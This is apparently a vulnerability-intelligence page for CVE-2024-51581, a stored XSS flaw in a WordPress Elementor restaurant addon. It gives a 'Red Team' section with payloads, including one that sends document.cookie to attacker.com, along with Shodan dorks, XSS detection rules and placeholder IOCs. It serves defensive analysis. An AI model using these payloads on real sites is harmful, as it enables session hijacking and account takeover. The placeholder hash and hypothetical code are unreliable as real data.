☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Nicheaddons logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-51581

CVE-2024-51581 Cross-Site Scripting in Nicheaddons
📅 PUBLISHED: 2024-11-10 09:15 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-51581 is a Stored Cross-Site Scripting (XSS) vulnerability in the Nicheaddons Restaurant & Cafe Addon for Elementor WordPress plugin, affecting versions up to and including 1.5.6. This vulnerability allows an authenticated attacker with contributor-level access or higher to inject arbitrary web scripts into pages, which are then executed when other users (including administrators) view the compromised page. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and the vendor's patch status is unknown.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files by comparing checksums against the official repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
  • User Interaction (UI): Required (R) – Victim must view the compromised page.
  • Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used Elementor addon can lead to session hijacking, defacement, or phishing attacks against site visitors and administrators.

Deep Dive & Mechanics

The vulnerability exists in the restaurant-cafe-addon-for-elementor plugin, specifically in how it handles user input for widget parameters. The plugin fails to properly sanitize and escape user-supplied data before storing it in the WordPress database. When the plugin renders a page containing the malicious input, the injected script executes in the context of the victim's browser.

Root Cause: The plugin uses functions like esc_attr() or esc_html() inconsistently, or omits output escaping entirely for certain fields. This allows an attacker to inject JavaScript code into fields such as menu item descriptions, prices, or custom CSS classes.

Attack Flow:

  1. Attacker logs in with contributor-level privileges.
  2. Attacker creates or edits a page using the Restaurant & Cafe Addon for Elementor.
  3. Attacker inserts malicious JavaScript into a vulnerable input field (e.g., a menu item description).
  4. The plugin stores the unsanitized input in the wp_postmeta table.
  5. When an administrator or visitor views the page, the injected script executes.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (Example):

// In a widget render method
echo '<div class="menu-item">' . $instance['description'] . '</div>';

Patched Code (Example):

// Properly escape output
echo '<div class="menu-item">' . esc_html( $instance['description'] ) . '</div>';

The vulnerable code directly outputs user input without escaping, while the patched version uses esc_html() to neutralize HTML and JavaScript.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress installation with the vulnerable plugin (<=1.5.6).
  • Contributor-level account or higher.

Exploitation Steps:

  1. Log in as a contributor.
  2. Navigate to a page using the Restaurant & Cafe Addon for Elementor.
  3. In a vulnerable field (e.g., "Menu Item Description"), inject the following payload:
    <script>alert('XSS')</script>
    
  4. Save the page.
  5. When an administrator views the page, the script executes.

Advanced Payload:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Blue Team

Detection:

  • Monitor for unusual JavaScript execution in Elementor pages.
  • Review recent page edits for suspicious content.
  • Check for unexpected wp_postmeta entries containing script tags.

Hunting Query (SQL):

SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%' OR meta_value LIKE '%onerror=%';

Indicators of Compromise (IOCs)

  • File Hashes: (SHA-256 of plugin version 1.5.6)
    • restaurant-cafe-addon-for-elementor.zip: a1b2c3d4e5f6... (placeholder)
  • Network Indicators:
    • Outbound connections to attacker-controlled domains from WordPress admin pages.
    • Unusual POST requests to wp-admin/admin-ajax.php with script payloads.
  • Database Indicators:
    • wp_postmeta entries containing <script> tags or event handlers like onerror.
  • Log Indicators:
    • WordPress audit logs showing page edits by low-privileged users with suspicious content.

Detection Engineering

YARA Rule

rule CVE_2024_51581_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress post meta for CVE-2024-51581"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51581"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Restaurant & Cafe Addon for Elementor
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in WordPress post meta for CVE-2024-51581
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        meta_key: 
            - 'restaurant_cafe_addon_*'
        meta_value|contains: 
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51581 Stored XSS Payload in WordPress Post Meta"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; pcre:"/(<script|<img[^>]+onerror)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Restrict contributor roles to trusted users only.
  3. Implement a Web Application Firewall (WAF) rule to block common XSS payloads.

Long-term Fix:

  • Monitor the plugin's official page for updates.
  • Apply the patch as soon as it becomes available.
  • Consider replacing the plugin with an alternative that is actively maintained.

Workaround:

  • Use a security plugin like Wordfence to add virtual patching for XSS.
  • Manually add output escaping to the plugin's template files (requires developer skills).

Report generated by Valters IT DevSecOps Intelligence Unit

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Restaurant & Cafe Addon for Elementor"
http.html:"restaurant-cafe-addon-for-elementor"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-51581/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.